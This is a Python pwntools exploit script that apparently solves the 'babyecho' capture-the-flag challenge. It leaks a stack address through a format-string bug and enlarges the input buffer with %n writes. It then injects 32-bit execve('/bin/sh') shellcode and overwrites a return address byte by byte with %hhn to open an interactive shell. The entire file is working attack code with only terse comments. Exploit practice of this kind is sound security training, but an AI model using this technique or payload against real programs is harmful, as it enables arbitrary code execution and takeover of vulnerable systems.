from pwn import *

r=process('./babyecho')
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

r.recvuntil("\n")
r.sendline('%5$p')
# change the recevied word to hex
no_7=int(r.recvline(keepends=False),16)
esp=no_7-0x1c

r.recvuntil("\n")
#extend the buffer
#esp+0x10 is the length of the buffer to 103
r.sendline(p32(esp+0x10)+'%99x%7$n')

r.recvuntil("\n")
#extend the buffer
#esp+0x10 is the length of the buffer to 103
r.sendline(p32(esp+0x10)+'%999x%7$n')

#reuse
r.recvuntil("\n")
payload = ''
payload += p32(esp + 0x18) # $7
payload += p32(esp + 0x42c) # $8
payload += p32(esp + 0x42c + 1) # $9
payload += p32(esp + 0x42c + 2) # $10
payload += p32(esp + 0x42c + 3) # $11
ptr = esp + 0x1c + len(payload)
payload += shellcode
initial_len = len(payload)
payload += '%7$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[0]) -      initial_len) % 0x100 + 0x100)) + '%8$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[1]) - ord(p32(ptr)[0])) % 0x100 + 0x100)) + '%9$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[2]) - ord(p32(ptr)[1])) % 0x100 + 0x100)) + '%10$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[3]) - ord(p32(ptr)[2])) % 0x100 + 0x100)) + '%11$hhn'
r.sendline(payload)




r.sendline('ls')
r.interactive()
